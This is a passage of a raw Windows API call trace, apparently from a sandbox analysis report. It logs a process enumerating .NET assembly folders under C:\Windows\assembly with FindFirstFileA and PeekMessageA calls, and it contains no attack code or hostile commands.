lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationTypes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.217] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\UIAutomationTypes\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.218] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.220] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WindowsBase\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.221] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WindowsBase\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc146a67e, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc146a67e, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.221] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.224] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WindowsFormsIntegration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.225] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WindowsFormsIntegration\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.225] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.235] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WsatConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.236] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\WsatConfig\\3.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc122f1da, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc122f1da, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.236] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.239] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a37e882, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730057, dwReserved1=0x740061, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0102.240] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Accessibility\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc943eaa, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc943eaa, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc943eaa, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.241] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Accessibility\\9859a6e0562f64eacfb8ad76f260a2d6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc943eaa, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfc943eaa, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfc943eaa, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.241] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.244] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\AuditPolicyGPManage#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68452960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x68452960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x68452960, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.245] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\AuditPolicyGPManage#\\a0a453714c9ec8d6954490f711f5158a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68452960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x68452960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x68452960, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.245] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.259] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\BDATunePIA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x689f9da0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x689f9da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x689f9da0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.260] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\BDATunePIA\\2823d3be9334fea94dce8001b247589b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x689f9da0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x689f9da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x689f9da0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.260] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.263] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ComSvcConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24010934, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24010934, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24010934, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.263] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ComSvcConfig\\5f1a06c0108b2c81cde1dc491d74043d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24010934, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24010934, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24010934, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.264] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.266] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5efc0ddf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5efc0ddf, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5efc0ddf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.266] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5efc0ddf, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5efc0ddf, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5efc0ddf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.267] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.269] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\dfsvc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f163d02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5f163d02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5f163d02, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.273] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\dfsvc\\2c3e7fda8de40e45e7f5e004094dc7c9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f163d02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5f163d02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5f163d02, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.274] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.276] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehExtHost32\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ab31a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69ab31a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69ab31a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.276] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehExtHost32\\c899de3549784161aa66610d5735e4f0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ab31a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69ab31a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69ab31a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.277] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.279] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiExtens\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a58f600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a58f600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a58f600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.279] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiExtens\\7b6de29c99674df526ccf9d4937828fe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a58f600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a58f600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a58f600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.282] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.284] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiProxy\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69f29ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69f29ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69f29ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.285] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiProxy\\5cd902459c588bb0ac608d4cbc8b5e4c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69f29ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69f29ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69f29ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.291] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.293] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiUserXp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df8fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69df8fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69df8fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.294] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiUserXp\\f09ce1eab0d18a4bbd53ab2a67a5c909\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df8fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69df8fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69df8fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.294] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.297] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiVidCtl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21ba0c90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21ba0c90, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21ba0c90, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.297] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehiVidCtl\\88e20c69254157d91b96eadc9444815d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21ba0c90, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21ba0c90, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21ba0c90, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.300] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.351] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehRecObj\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e91560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69e91560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69e91560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.377] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ehRecObj\\6e35ba22c9762646d5294dd919175c69\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e91560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69e91560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69e91560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.378] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.380] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\EventViewer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5916e571, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5916e571, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5916e571, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.381] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\EventViewer\\654c5baca16d72756296ab1d927ea4a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5916e571, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5916e571, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5916e571, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.381] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.383] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0102.392] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0102.392] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcepg\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a034480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a034480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a034480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501576, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.393] FindFirstFileA (in: 